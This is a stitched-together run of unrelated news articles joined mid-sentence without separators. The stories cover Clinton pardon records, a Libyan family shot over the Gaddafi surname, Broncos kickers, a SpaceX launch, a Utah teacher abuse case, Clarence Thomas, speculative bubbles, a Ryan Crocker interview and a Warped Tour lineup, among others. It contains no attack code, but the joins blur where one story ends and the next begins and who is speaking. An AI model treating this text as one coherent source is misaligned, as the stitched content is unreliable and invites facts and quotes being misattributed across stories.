Clintons. The decision to withhold the records could provide fodder for critics who say that the former president and his wife, Sen. Hillary Rodham Clinton, now seeking the Democratic presidential nomination, have been unwilling to fully release documents to public scrutiny. Officials with the presidential campaign of Sen. Barack Obama, D-Ill., criticized Hillary Clinton this week for not doing more to see that records from her husband's administration are made public. "She's been reluctant to disclose information," Obama's chief strategist, David Axelrod, told reporters in a conference call in which he specifically cited the slow release records from the Clinton library. "If she's not willing to be open with (voters) on these issues now, why would she be open as president?" In January 2006, USA TODAY requested documents about the pardons under the Freedom of Information Act (FOIA). The library made 4,000 pages available this week. However, 1,500 pages were either partially redacted or withheld entirely, including 300 pages covering internal White House communications on pardon decisions, such as memos to and from the president, and reports on which pardon requests the Justice Department opposed. In a statement, the Clinton campaign said that "all of the redactions made to the pardon-related documents were made by (the National Archives)." Former president Clinton issued 140 pardons on his last day in office, including several to controversial figures, such as commodities trader Rich, then a fugitive on tax evasion charges. Rich's ex-wife, Denise, contributed $2,000 in 1999 to Hillary Clinton's Senate campaign; $5,000 to a related political action committee; and $450,000 to a fund set up to build the Clinton library. The president also pardoned two men who each paid Sen. Clinton's brother, Hugh Rodham, about $200,000 to lobby the White House for pardons — one for a drug conviction and one for mail fraud and perjury convictions, according to a 2002 report by the House committee on government reform. After the payments came to light, Bill Clinton issued a statement: "Neither Hillary nor I had any knowledge of such payments," the report said. The pardon records released by the library divulge little that might settle debate about those and other pardons. But they do shed new light on the volume of clemency requests that former president Clinton received — and the pressures he and his staff faced as friends, advisers, political leaders and foreign heads of state weighed in to influence which petitions would be granted. The files contain handwritten letters from several of the president's close associates. Former Democratic Party chairman Donald Fowler of South Carolina wrote a note seeking clemency for former congressman John Jenrette, D-S.C., who was convicted in the 1980 Abscam sting in which FBI agents, posing as Middle Eastern businessmen, offered lawmakers bribes for political favors. Clinton did not grant the pardon. Most of the withheld documents, including dozens of clemency pleas sent to the president, were blocked from release under FOIA rules that protect personal privacy. The 300 pages of internal White House documents on pardon requests were blocked under the Presidential Records Act of 1978, which allows presidents to maintain the confidentiality of communications with their advisers for up to 12 years after they leave office. In 2002, Clinton sent a guidance letter to his library that urged quick release of most White House records but retained the confidentiality prerogative covering advice from his staff. Still, Clinton said the restriction should be interpreted "narrowly" and allowed that certain records detailing internal communications could be made public if reviewed and approved for release by his designated legal agent. Emily Robison, the library's deputy director, said Clinton's agent, former deputy White House counsel Bruce Lindsey, chose not to review the withheld documents |
surname would land them in trouble.
Mistaken for Gaddafi loyalists, rebel fighters opened fire at them near an airport - killing the couple’s two daughters Yam, 20 months, and Aden, three weeks, as well as Afaf’s mother and sister.
Afaf Gaddafi and her three-year-old son Ahmed, who has no links to Muammar Gaddafi other than sharing a name, survived the attack.
[ Gallery: Libya conflict in photos]
After realising the mix-up, soldiers from Libya’s National Transitional Council (NTC) escorted the family to hospital, but four of the six victims could not be saved.
Afaf lost her eye in the shooting and husband Essam Arara hopes that she can now receive specialist treatment in the UK.
London School of Economics graduate Mr Arara, who was living in Britain at the time of the shootings, told the London Evening Standard: “None of them are even related to Muammar Gaddafi - it is just a surname given to many thousands of members of his tribe.
“But my wife and all our relatives were afraid that they could immediately be subjected to revenge attacks just because of their names. So they decided to flee to a safer place.
“If their names had not been Gaddafi they would have stayed at home and all be alive today.”
Gaddafi is a common surname in the North African country indicating that the person is part of the Gaddadfa tribe.
Mr Arara, 36, was arranging for the family to join him in Britain. He said: “After what my wife and son have been through they cannot face living in Libya. Britain is our only chance for a decent future.”
Libya’s National Transitional Council was unable to comment in time for publication.Are both Denver Broncos kickers on the roster bubble? According to local Denver radio man Kevin Kissner, you bet.
According to sources the Broncos don't have their week 1 kicker on the roster. McManus and Barth have not performed well in camp. Den's mad — Kevin Kissner (@KissnerRadio) August 12, 2015
Why it makes sense
On one hand, we have Connor Barth who is fantastically accurate for field goal kicks, but doesn't get enough distance or hang time on kickoffs (this is a very risky combination). On the other hand we have Brandon McManus who has a howitzer for a leg on kickoffs, but is a spray and pray leg for field goal kicks.
Kubiak doesn't like either situation and is a big proponent of having players that can do multiple roles. This rumor makes sense knowing the coach's history and preferences.
Why it doesn't make sense
The timing is what doesn't make much sense. We're two weeks into training camp and would like to have as much stability as possible. Taking multiple kickers into TC and then dumping them all a couple weeks in doesn't make a whole lot of sense.
Also we've been seeing reports of Barth improving his kickoff distance this off season with some level of success. If that is happening, there is no reason to get rid of such an accurate kicker.
Also, with all due respect to local media, Kevin Kissner isn't one person with whom Mile High Report is very familiar, so we can't put a lot of stock into this tweet right off the bat.
Chance of happening
I'd think the chances of us dumping all our options at place kicker and bringing someone in are unlikely, but very possible. I'd give it a 30% chance of happening.
Let us know in the poll and comments your thoughts on this rumor. What are your thoughts on our kicking situation?Is there going to be a shake-up with our kicking specialists?This prom season, Minnesota student Mike Stone is on a mission to bring a special lady to his high school dance: a porn star.
WARNING: SOME CONTENT MIGHT NOT BE SUITABLE FOR ALL AGES
The situation might call to mind scenes from the 2004 movie "The Girl Next Door," in which three teens take porn stars to prom as part of a plan to film a modern sex-ed video. But it seems this Minnesota student just wants to stand out on his special day.
In an interview with the Daily Dot, Stone said many of the girls he asked to prom were already going with someone else. So, he took a different route and hopped on Twitter to contact some adult film stars.
After nearly 600 Tweets, at least two porn stars have offered to take Stone up on his offer.
Megan Piper, who never made it to her senior prom, said she'd be willing to attend the dance as long as Stone took care of the travel costs from Los Angeles.
"If you can get me there, then yes :)," she tweeted.
And adult film star Emy Reyes was honored by Stone's proposal and responded by saying, "Awww that's reappear [sic] hun and i would love tooo."
Now, the teen's next mission is to raise about $400 to buy his possible date -- who, as of late Tuesday afternoon, appears to be Megan Piper -- a plane ticket to Minnesota for the big night on May 12.
Piper said she's excited about the possibility of attending the dance with Stone.
"I thought it was really cute, and I thought it would make his night by saying 'yes'," she told The Huffington Post.
The 19-year-old moved from Georgia to Kansas during her senior year of high school and couldn't attend her own prom. She even had a navy dress with a corset top picked out for the occasion.
"It was so cute," she recalled. However, if she does fly to Minnesota, Piper says she's using the opportunity to shop for a new gown.
When asked about the possibility of Emy Reyes attending the dance, Piper said she was open to sharing the spotlight with her friend.
"If she decided she wanted to go, too, that would be really cool," Piper said.
As of a couple of hours ago, Stone, who says he's 18, did not have a PayPal account set up to receive donations, but that might soon change with the amount of exposure he's been getting.
However, the teen's special date might very well be a surprise to his parents and principal, who reportedly have no clue what Stone has been planning, the Daily Dot reports.
As for Piper, the adult film star isn't keeping her boyfriend in the dark about her potential date.
"He knows I love him so he doesn't mind," she said.
Regardless of how Stone's plan pans out, he now joins the ranks of several teens who have taken extraordinary measures to secure a date to prom.
Much like Stone, 18-year-old Kevin McGuire used social media to secure a date with Taylor Swift. And although the songstress won't be able to attend McGuire's prom, she invited him to the Academy of Country Music Awards as her date.
Brady McHale, on the other hand, took advantage of his position as volunteer firefighter and executed his prom proposal atop a ladder truck positioned outside of his high school's windows.Anybody who has played with a frisbee will have an intuitive idea of how the angle at which you throw them determines the path they take.
As frisbees get smaller, however, the physics changes. On a tiny scale, the air becomes thicker like syrup and inertia begins to play a much smaller role. So it’s easy to think that there is fundamental limit to how small you can make a frisbee.
Not quite, say Johannes Floss and buddies at the The Weizmann Institute of Science in Israel. It’s actually fairly straightforward to control the trajectory of a spinning molecule just like a frisbee.
In recent years, a number of techniques have emerged to set molecules in a gas spinning with their axes precisely aligned, like a three dimensional array of floating tops. These techniques all zap the molecules with a carefully prepared laser pulse to make them rotate in a certain way.
But how to turn these spinning tops into frisbees? After all, the motion of frisbees is essentially the result of the interaction between the spinning body and air, but aerodynamics cannot play a role at the molecular level.
The answer say Floss and co is to fire the spinning molecules through an electric field produced by another laser. Provided the field has some intensity gradient, it will play a role analogous to air in frisbee flight. When that happens, the inclination of the spinning molecules will determine the trajectory they take.
As Floss and co point out: “A similar technique is used by Frisbee players finessing the tilt of the spinning disc for directing it into a pair of waiting hands.”
This frisbee technique gives remarkable control over the path the molecules take. The trajectory depends on factors such as the strength of the field, the inclination of rotation and the mass of the molecule.
This has important implications for a number of emerging techniques, particularly in areas where ionisation cannot be used. For example, molecular nanofabrication in which tiny structures are built almost brick by brick must use neutral molecules because the build up of charge could distort the shape or even prevent construction entirely.
But perhaps the most important application, at least in the short term, will be isotope separation. Since the trajectory depends on the mass of the molecule, the technique will naturally separate molecules containing different isotopes.
Nuclear scientists will want to investigate this technique’s potential for separating the more fissionable uranium 235 from uranium 238. In recent years, physicists have made great strides in separating these isotopes using lasers to selectively ionise one isotope while leaving the other neutral, which allows them to be separated using an electric field.
The conventional separation techniques rely on giant centrifuges that are difficult and expensive to build and so form an important technology barrier that prevents countries with nuclear aspirations from making their own highly enriched uranium.
But there is a growing fear that laser enrichment will make this much process easier. And now there is a new technique that could make isotope separation even easier.
That makes it easy to predict that molecular frisbees will become the focus of intense interest in the next few years. But how much we’ll hear about these future developments is much harder to say.
Ref: arxiv.org/abs/1010.0887: Molecular Frisbee: Motion of Spinning Molecules in Inhomogeneous FieldsSpaceX scored a spectacular launch success last night when the maiden flight of their upgraded Falcon 9 rocket scorched the sky of the Florida Space Coast and successfully delivered a commercial space satellite to geostationary orbit for the first time ever – thereby revolutionizing the commercial space industry from this day forward.
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Top Photo via SpaceX.
The third time was finally the charm as the Falcon 9 blasted off precisely on time at 5:41 p.m. EST from Launch Complex 40 at Cape Canaveral following a pair of launch scrubs last week on November 25th and Thanksgiving Day, November 28th, caused by technical problems with the first stage engine. The booster thundered off the pad and pierced the completely cloud-free evening sky soon after sunset as the blistering roar rumbled deafeningly all across the space coast viewing area.
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The rocket exhaust plume was easily visible for several minutes after liftoff of the historic mission. The 3,138 kg (6,918 lbs) SES-8 satellite is a hybrid Ku- and Ka-band spacecraft that will provide TV and communications coverage for the South Asia and Asia Pacific regions. [Photo Credit: Ed Dosado via Flickr]
This new version of the Falcon 9 rocket has nearly 50% more thrust compared to the original Falcon 9. [Photo Credit: Ken Kremer/kenkremer.com]
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The stakes could not have been higher for the future of SpaceX. The firm's future launch manifest of more than 50 flights for NASA and a variety of commercial entities worth billions of dollars were riding on the success of tonight's liftoff from Cape Canaveral Air Force Station, Florida. With 54 satellites in orbit SES is one of the largest commercial telecommunications satellite operators in the world.
The next generation Falcon 9 rocket injected the SES-8 telecommunications to its targeted geostationary transfer orbit flying 295 x 80,000 km above Earth. A restart of the second stage engine was absolutely essential to the success of the mission since a failure to ignite would have doomed the SES-8 satellite from reaching is desired orbit since it's a requirement for all geostationary transfer missions.
The picture-perfect flight met 100% of the mission objectives, SpaceX said in a post-launch statement.
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"The successful insertion of the SES-8 satellite confirms the upgraded Falcon 9 launch vehicle delivers to the industry's highest performance standards," said Elon Musk, CEO and Chief Designer of SpaceX. "As always, SpaceX remains committed to delivering the safest, most reliable launch vehicles on the market today. We appreciate SES's early confidence in SpaceX and look forward to launching additional SES satellites in the years to come." [Photo Credit: Ken Kremer/kenkremer.com]
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Today's launch marked SpaceX's first commercial launch from Florida as well as the first commercial flight from Cape Canaveral Air Force Station in over five years. Satellite operators have booked their commercial launches with other rocket companies overseas due to the high cost of other American expendable rockets. SpaceX's entire corporate aim has been to significantly cut the high cost of access to space. "This is really rocking the industry. Everybody has to look out," said Martin Halliwell, SES chief technical officer, at the prelaunch meeting with reporters including Universe Today. With today's SpaceX is sure to sign even more contracts bringing additional commercial telecommunications satellite space launches back to American soil.
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SpaceX founder and CEO Elon Musk (right) and Martin Halliwell (left), SES chief technical officer briefs reporters including Universe Today on Sunday (Nov. 24) in Cocoa Beach, FL prior to planned SpaceX Falcon 9 rocket blastoff with SES-8 communications satellite from Cape Canaveral, FL. Credit: Ken Kremer/kenkremer.com.
Approximately 185 seconds into flight, the Falcon 9's second stage equipped with a single Merlin 1-D engine ignited. It burned for five minutes and 20 seconds to inject SES-8 satellite into its initial parking orbit. Eighteen minutes later the second stage engine relit for a second time and fired for just over one minute to deliver SES-8 satellite to its final geostationary transfer orbit.
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This extra powerful new version of the Falcon 9 dubbed v1.1 is powered by a cluster of nine of SpaceX's new Merlin 1D engines that are about 50% more powerful compared to the standard Merlin 1C engines. The nine Merlin 1D engines 1.3 million pounds of thrust at sea level rises to 1.5 million pounds as the rocket climbs to orbit.
The Merlin 1 D engines are arrayed in an octaweb layout for improved efficiency. Therefore the upgraded Falcon 9 can boost a much heavier cargo load to the ISS, low Earth orbit, geostationary orbit and beyond. The next generation Falcon 9 is a monster. It measures 224 feet tall and is 12 feet in diameter. That compares to a 130 foot tall rocket for the original Falcon 9.
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Stay tuned here for continuing SpaceX & MAVEN news and Ken's SpaceX launch reports from on site at Cape Canaveral & the Kennedy Space Center press site.
This post by Ken Kremer originally appeared at Universe Today. It has been republished with permission.Copyright by WCMH - All rights reserved Brianne Altice, a former Utah high school English teacher who pleaded guilty to having sexual relations with three male students, was sentenced Thursday, July 9, 2015. (Leah Hogsten/The Salt Lake Tribune via AP, Pool, File)
Copyright by WCMH - All rights reserved Brianne Altice, a former Utah high school English teacher who pleaded guilty to having sexual relations with three male students, was sentenced Thursday, July 9, 2015. (Leah Hogsten/The Salt Lake Tribune via AP, Pool, File)
SALT LAKE CITY (WCMH)--A former teacher in Utah who pleaded guilty to sexual abuse charges defended herself in a written response filed Tuesday in federal court.
Brianne Altice is in prison for having sexual contact with three boys aged 16 and 17. She filed a two-page response last month after one of the victim's parents filed a lawsuit against her and the school district. The parents claim the school did nothing when employees complained about Altice's behavior with students.
Copyright by WCMH - All rights reserved FILE - In this Jan. 15, 2015, file photo, Brianne Altice listens to the testimony during a preliminary hearing in 2nd District Court in Farmington, Utah. (Leah Hogsten/The Salt Lake Tribune via AP, Pool, File)
Copyright by WCMH - All rights reserved FILE - In this Jan. 15, 2015, file photo, Brianne Altice listens to the testimony during a preliminary hearing in 2nd District Court in Farmington, Utah. (Leah Hogsten/The Salt Lake Tribune via AP, Pool, File)
Altice, a former English teacher, said the then-16-year-old boy whose parents are suing her would "thwart inappropriate comments directed at her."
Altice wrote that the teen would come to her for advice on his relationship with his parents. She said she told him "to communicate with his parents and continue to do his best in school."
She added that during the school year in which she taught him, his grades improved.
KTSU reported that Altice wrote that she "had no evil or malicious intent to cause harm."
The three boys involved in the case testified in a preliminary hearing that they had sex with Altice.
She pleaded guilty in 2013 to touching three students' genitals between January and September 2013, and is serving a 2-to-30-year sentence.Colin Trevorrow is gearing up to direct the ninth installment of Star Wars, and he wants to shoot the movie using film, not digital, cameras. The Jurassic World filmmaker also has been investigating if Star Wars: Episode 9 could be the first narrative feature film to actually shoot in outer space, for real. Hit the jump to learn more about the Star Wars 9 film plans.
Trevorrow appeared at a panel called “Power of Story: The Art of Film” alongside Christopher Nolan and Rachel Morrison, moderated by Alex Ross Perry, during the 2016 Sundance Film Festival in Park City Utah. During the panel Trevorrow explained why he believes that period films should be shot on film and not digitally. Here is the quote via THR:
“The only place where I tend to not be able to attach myself entirely to something shot digitally is when it’s a period film. There’s something in my brain that goes, ‘Well, they didn’t have video cameras then,'” he said. “[Film] tends to remind us of our memories, of our childhoods, the way we used to see films.”
Trevorrow jokingly explained that his upcoming project Star Wars: Episode IX will be shot on film for the same reason: It “gets back to my issue of shooting digital for period films. I could never shoot Star Wars on anything but [film] because it’s a period film: It happened a long time ago!”
Of course the reason is a fun one, but anyone who has seen Star Wars knows that it has more of a futuristic rather than period aesthetic. I am glad that Trevorrow is going to shoot Star Wars 9 on film, as J.J. Abrams shot Star Wars: The Force Awakens on 35mm and Rian Johnson will also be shooting on the non-digital format for Star Wars Episode VIII. It seems right to continue the series on the same format to give a unifying esthetic. Trevor row also revealed that he is aiming for “scope 35 or 65” for Episode IX.
Almost three years ago I tweeted out the following question:
Which filmmaker will be the first to film a live action feature film at least partly in Space? And how soon will this happen? — Peter Sciretta (@slashfilm) March 20, 2013
Movies like Apollo 13 have used airplanes like the KC- 135 (nicknamed the “Vomit Comet”) to achieve real weightlessness, but no narrative feature film has yet to film in outer space. As ridiculous as it sounds, apparently Trevorrow is actually researching if he can shoot some of Episode 9 “on location” in outer space.
“I asked the question, ‘Is it possible for us to shoot IMAX film plates in actual space for Star Wars, and I haven’t gotten an answer yet, but they’ve shot IMAX in space!”
Christopher Nolan responded that he also looked into outer space filming for Interstellar:
“Funny enough, we had that conversation with Interstellar,” said Nolan. “There’s incredible footage from space now.”
I’m sure many films have used galactic photography from Earth-bound telescopes. Has a film ever used photography from the Hubble Space Telescope which has been orbiting outside of Earth’s atmosphere since 1990?
I think it would be cool if a Star Wars film would be the first to use photography from outer space. It sounds like Trevorrow is just investigating plates, which means background shots. So we’re still years away from seeing a film with actors being filmed in outer space. IMAX has filmed documentary films in space with astronauts, like the 2002 film Space Station 3D.
Trevorrow’s comments also seem to confirm that Episode 9 will again have some IMAX photography, which shouldn’t be much of a surprise considering Disney’s deal with the IMAX corporation.Adelaide take on the Giants in Sunday's season-opener at Adelaide Oval
The AFL has enacted its heat policy for Adelaide’s Round One season-opener against Greater Western Sydney, which will now start at 2.45pm local time.
The earlier timeslot will accommodate longer breaks during the match.
The quarter-time and three-quarter time periods will be extended to eight minutes, while half-time has also been extended by two minutes to 22 minutes.
Both clubs will also be permitted to use extra drink carriers during the game.
The Bureau of Meteorology has forecast a top of 37 degrees in Adelaide on Sunday.
ADELAIDE v GWS – HEAT POLICY ENACTED
New start time: 2.45pm local
Quarter-time: Eight minutes (previously six minutes)
Half-time: 22 minutes (previously 20 minutes)
Three-quarter time: Eight minutes (previously six minutes)Supreme Court Justice Clarence Thomas argues states may establish an official state religion, and sees no problem with an individual state making Christianity the official state religion.
Thomas believes the First Amendment’s Establishment Clause does not apply to the states. The Establishment Clause is that part of the First Amendment that says “Congress shall make no law respecting an establishment of religion.”
The Establishment Clause not only forbids the government from establishing an official religion, but also prohibits government actions that unduly favor one religion over another, or none.
While Thomas believes that the Establishment Clause “probably” prohibits the federal government from establishing an official, national religion, he sees no problem with individual state establishing an official state religion.
In the recent, disastrous Supreme Court ruling that found Christian prayers used to open government meetings to be constitutional, Thomas went further than his other conservative colleagues in condoning sectarian prayers at government functions. In his dissenting opinion Thomas disputes the widely accepted notion that the First Amendment’s ban on the “establishment” of religion even applies to state and local governments.
MSNBC summarizes Thomas’ official opinion:
“If policymakers in your state chose today to establish Christianity as the official state religion, Clarence Thomas believes that would be entirely permissible under the First Amendment.”
It is a position Thomas has staked out before. In 2011 Thomas made a similar argument. Rob Boston, writing for Americans United, summarized Thomas’ position:
“Perhaps most shockingly, Thomas once again states his view that the First Amendment’s religious liberty provisions apply only to the federal government. In his view, the 50 states are free to “establish” any religion they want. In Thomas’ world, the Fourteenth Amendment to the Constitution was apparently never ratified.”
Thomas’ constitutional views are extreme, dangerous, and out of touch. Even more worrisome, there are plenty of Christian conservatives who will embrace Thomas’ perverted reading of the U.S. Constitution as they pursue their twisted vision of a Christian theocracy for the U.S.A.Virtual currency Bitcoin -- or "digital gold" to its fans -- has enjoyed a gravity-defying rise along with wild price swings, sparking fears it could be the latest financial market "bubble."
Bitcoin was worth just a few US cents when it began life in 2009 and last week changed hands for a staggering $17,000 despite having no central bank backing and no legal exchange rate.
Here are some of the most wild speculative bubbles in history -- ranging from tulips to teddy bears:
- Dutch 'Tulipmania' -
At the beginning of the 17th century, exotic tulips became the ultimate luxury accessory and status symbol for rich and poor alike.
People mortgaged houses and sold businesses just to buy a bulb. At one point, a single tulip bulb fetched up to $150,000 at today's prices.
Tulips were all the rage in 17th century Amsterdam Aurore Belot, AFP/File
With prices rising to more than 100 times the average annual income, bulbs were being traded for land, livestock and houses -- a rare bulb was even considered an acceptable dowry for a bride.
During what is commonly viewed as the first speculative bubble, rumours were deliberately spread to influence prices and there were reports of skullduggery such as training animals to dig up tulip fields.
The bubble burst in 1637 after a disappointing turn-out to a tulip auction in Haarlem. Prices plunged, banks failed and people lost their life savings -- all for a pretty flower.
- Japanese asset bubble -
In the mid-1980s, the Japanese economy ruled the world. Its high-quality, technologically advanced products dominated export markets and everything seemed to be "made in Japan."
Fuelled by this success -- and ultra-loose monetary policy -- Japan's Nikkei index tripled between 1985 and 1989 and Japanese firms were worth nearly half of the entire world's corporate sector.
Property prices ballooned in Tokyo as the country's economy went from strength to strength Kazuhiro NOGI, AFP/File
With all this money sloshing around and credit cheap and easy to obtain, speculators piled into real estate and prices exploded.
At the height of the boom, it was said the Imperial Palace in central Tokyo was worth the same as the whole of California.
Government policies aimed at deflating the bubble ended up pricking it violently. The stock market plummeted and house prices went through the floor, ruining millions.
The bust ushered in what economists called a "lost decade" of economic stagnation and deflation, the effects of which are still being felt today.
- Dot.com madness -
The internet and tech boom of the late 1990s resulted in some "dot.com" companies being valued at billions of dollars despite not having made a cent in profits.
AOL became a symbol of the tech boom HO, AOL/AFP/File
Young internet tycoons became millionaires overnight as investors piled into any company with a dot.com domain name in the belief the web had upended the rules of business.
At the height of the boom came the AOL-Time Warner merger, at the time the biggest in corporate history.
The boom prompted then Federal Reserve Chairman Alan Greenspan to warn about "irrational exuberance" in asset prices, widely seen as a warning about the dot.com bubble.
Funding dried up as it became clear many internet companies held wildly inflated valuation based on pie-in-the-sky profit forecasts.
Thousands of internet companies bit the dust and investors lost trillions of dollars as the tech-heavy NASDAQ market spiralled downwards.
- Subprime crisis -
The subprime boom-and-bust of the late 2000s was based on extremely complex financial instruments that "sliced and diced" risky mortgage assets and bundled them together.
Banks and mortgage lenders offered credit to uncreditworthy homeowners in the belief that by packaging these loans together, the risks could be reduced.
The financial wizardry fuelled a housing market boom as speculators snapped up houses they never intended to live in to build up their "collateralised" portfolio.
Millions of families lost their homes in the subprime crisis SCOTT OLSON, GETTY IMAGES NORTH AMERICA/AFP/File
The bust came when investors realised that the flip-side of packaging risk together was that they could not tell where the bad loans were lurking.
The subprime-fuelled housing boom turned to bust and prices plunged, with millions of families losing their homes.
The stock market crashed, unemployment ballooned and the US banking system buckled to the point of implosion, with Lehman Brothers collapsing in 2008.
- Beanie Baby boom -
A lesser known tale of boom-and-bust is the Beanie Baby craze that occurred around the same time as the internet bubble.
Small stuffed toys worth around $5 became such a hot craze that people bought them for thousands of dollars, convinced their prices would continue to rise.
Beanie Babies sold for thousands of dollars JOYCE NALTCHAYAN, AFP/File
The firm that manufactured them, Ty, enjoyed sales of more than $1 billion and at one point, trade in Beanie Baby toys represented as much as one tenth of the trade on eBay.
The crash came at the end of the 1990s when Ty announced it was ending the toy.
Far from creating excitement by reducing supply, the market was spooked, and soon bears that had been fetching thousands were selling three for $10.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
An Australian tycoon has paid nearly £9 million for a legendary prayer book that was once stolen by Hitler.
The Rothschild Prayerbook was created during the 16th century but is surrounded by mystery.
The cover is lined with gold and the pages are made of animal skin. Only one copy of the book exists and every one of the 67 paintings inside is considered a masterpiece.
Little is known as about its origins, and it disappeared for 350 years after the Renaissance.
In the early 20th century it was bought by the Rothschilds, one of the wealthiest families in the world, until Hitler looted it as the Nazis stole art from across Europe.
In 1942 it was sent to Vienna, but after the war Austria refused to return the book to the Rothschilds and it stayed locked in a vault seen by only a handful of people.
Seven years later the family finally got hold of the book again and it was auctioned at Christies in London to an anonymous buyer.
It resurfaced in 2013 in New York to be auctioned again. This time it was sold to an Australian billionaire, who until now has not been identified.
Now though Australian news programme Sunday Night has revealed the owner is Australian businessman and art collector Kerry Stokes.
Mr Stokes, 73 from Perth, is chairman of one of Australia's largest broadcasters the Seven Network. He paid $15.5 million Australian dollars (just under £9m) making the prayerbook one of the most expensive manuscripts in the world.
He told the programme he planned on making the historic artifact available for the public to see.
He said: "When I first saw it I didn't know where I should touch it. I started to turn the pages and the hair on the back of my arms stood up. It's just mind blowing."
Mr Stokes announced that the prayerbook would go on tour in Australia next year, with public exhibitions planned for Canberra and Melbourne.KABUL (Reuters) - The United States must keep fighting the Taliban or risk more attacks like those of September 11, 2001, because the insurgent group is a ruthless enemy that has not cut ties to al Qaeda, the U.S. ambassador to Kabul said.
U.S Ambassador to Afghanistan Ryan Crocker speaks during a news conference at the U.S. Embassy in Kabul July 27, 2011. REUTERS/Mohammad Ismail/Files
Ryan Crocker, a career diplomat who was ambassador in Iraq, also warned the United States would have to spend billions more in the coming years to bolster Afghanistan’s government and security forces as its own troops prepare to return home.
“What we have to do is I think demonstrate the strategic patience that is necessary to win a long war,” he told Reuters, in an interview ahead of the 10th anniversary of the attacks.
“It is going to require more resources, its going to require time. I hope we can bring all those to bear, because as hard, painful, as expensive as this has been in blood and treasure, it has cost a lot less than 9/11 did.”
Crocker flew into New York early on the morning of September 11, 2001, and saw the twin towers of the World Trade Centre collapse as he drove into Manhattan after landing.
He has carried his boarding pass from that flight around the world with him, to a decade of senior positions at the heart of the conflicts that followed in the wake of the attacks.
“My life to a significant degree was never the same after 9/11... what drives me is what happened that day, and what I saw. And not that I need a reminder, but this is just a small memento of why we are in this fight and why we need to stay in it.”
He described building a stable Afghanistan as “the ultimate guarantee that there will not be another 9/11.”
After nearly a decade of fighting in Afghanistan the Taliban have greater reach than any time since they were ousted from power, and civilian casualties — the majority caused by insurgents — are at the highest since 2001.
“These are tough, determined guys, and we have got to stay in the fight, because if we decide we are done, without completing the mission along the lines I laid out earlier, well the Taliban is going to be back,” Crocker said.
Polling showed Afghans do not want the Taliban back, however, and broadly support their own security forces. Western mistakes, especially careless spending, had been corrected, he added.
“I think we all made mistakes, the international community, in the way we put resources into this country. Often without due consultation with Afghan partners, without Afghan buy-in, without appropriate oversight,” he said.
“I think we are on the right path now. Yes these are mistakes, but boy the people who are doing the finger pointing ought to come out here and try and get it right in the smoke and dust of a hot war.”
WAR-WEARY AMERICA
Over 1,600 U.S. soldiers have died in Afghanistan, and the war has cost nearly $450 billion, according to the Congressional Research Service. It also stirred up vocal domestic opposition.
Foreign forces have now started handing over control of some areas to the Afghan police and army, and the NATO-led coalition expects to have all combat troops home by the end of 2014.
Crocker hopes this plan will bolster support for the next few years of fighting and institution-building.
“Americans, they are war-weary, it has been a decade, but they also see a plan for future transition. So I think we will be able to maintain the necessary commitments as we move forward to 2014,” he said.
The United States is also expected to have some presence in the country beyond that date, with Kabul and Washington currently in trying to hammer out a “strategic partnership” agreement to define the U.S. role longer-term.
Stopping the Taliban fighting their way back to power — whether with U.S. troops on the ground or through support for Afghan forces — is critical to U.S. security, Crocker added.
“With the Taliban will come al Qaeda, and we will have the same situation that we had pre-9/11, and that to me is an utterly unacceptable outcome,” he said in his Kabul residence, in the heart of the heavily guarded embassy.
“That is a risk of our national security that I think no sane person would willingly take.”
Despite preliminary contacts with insurgent groups, Crocker also said he did not expect a negotiated settlement in the short-term, because without stronger military pressure insurgents would not accept changes in Afghanistan, including improvements in women’s rights.
“The Taliban needs to be further weakened to the point where they will come to the table prepared to accept the conditions we have set jointly with the Afghans,” he said.
“That’s not the Taliban I think we are engaged with today.”
Crocker dismissed critics who argue that limited progress in Afghanistan is due in part to the shift in focus to Iraq.
“If for example in 2002, 2003 or 2004 we had substantially increased the number of our forces without an active Taliban threat, which didn’t come until later, I think there is every chance the Afghans would have seen us as occupiers,” he said.
“We could have had a backlash of proportions that would have given us even a worse situation today.”
(Editing by Sanjeev Miglani and Ed Lane)Marvin Sordell: Busy time on and off the field
The 2012/13 campaign has entered the final straight, with promotion pushes and relegation battles now in full swing.
Here at Sky Sports, we continue to take you to the very heart of the Football League, with our Spotlight features intended to give you a greater insight into the clubs and players that keep us on the edge of our seats.
We are hoping to bring you the views and thoughts of a representative from each of the 72 teams over the course of the season, with those involved asked to give their take on the division they compete in, the club that pays their wages and those we should all be keeping an eye on.
Next in our hot seat is Bolton's Marvin Sordell, with the Trotters forward taking time out to discuss the foundation carrying his name, play-off pushes and U21 title quests with Chris Burton.
First up, tell me about the Marvin Sordell Foundation and what it's all about?
I started the foundation up in November/December time on the back of reading Sophie Hayes' book 'Trafficked'. This year we have focused on the Sophie Hayes Foundation and Sport for Freedom, which both work in eradicating human trafficking. Our aim, short-term, is to raise awareness and to raise funding for the charities. Long-term, we want to see modern day slavery, as it's called, be abolished.
Click here to visit the Marvin Sordell Foundation website and offer your support.
It's not just about the two charities you are working with at the moment is it, the intention is to work with as many as possible over the years?
Yeah, definitely. I am in a very fortunate position where I am able to use my time and the position I am in to help others. I would like to help other people as much as I can. Starting with the issue of human trafficking and the two charities, and of course we will work alongside them to help them get to their end goal, but, along the way, I would like to help other charities and help them as well.
It's important |
Issues
Less Than Jake
Anberlin
Crown The Empire
Attila
Saves The Day
Cute Is What We Aim For
The Ghost Inside
The Color Morale
Chelsea Grin
Bad Rabbits
Chunk! No, Captain Chunk!
The Ready Set
A Skylit Drive
Beartooth
Terror
Secrets
Volumes
Tear Out The Heart
Stray From The Path
Survive This!
State Champs
To The Wind
A Lot Like Birds
Mixtapes
I Fight Dragons
I The Mighty
Air Dubai
NiT GriT
MC Chris
Plague Vendor
Teenage Bottlerocket
The Protomen
Dates:
June 13 Houston, TX Reliant Center Parking Lot
June 14 San Antonio, TX AT&T Center
June 15 Dallas, TX Gexa Energy Pavilion
June 17 Albuquerque, NM Isleta Amphitheater
June 18 Mesa, AZ Quail Run Park
June 19 Las Vegas, NV Luxor Lot
June 20 Pomona, CA Pomona Fairplex
June 21 Mountain View, CA Shoreline Amphitheatre
June 22 Ventura, CA Seaside Park
June 25 Chula Vista, CA Sleep Train Amphitheatre
June 26 Wheatland, CA Sleep Train Amphitheatre
June 28 Southeast Auburn, WA White River Amphitheater
June 29 Portland, OR Portland Expo Center Parking Lot
July 02 Maryland Heights, MO Verizon Wireless Amphitheater
July 03 Noblesville, IN Klipsch Music Center
July 04 Toronto, ON Molson Canadian Amphitheatre
July 05 Montreal, QC Parc Jean Drapeau
July 06 Holmdel, NJ PNC Bank Arts Concert Center
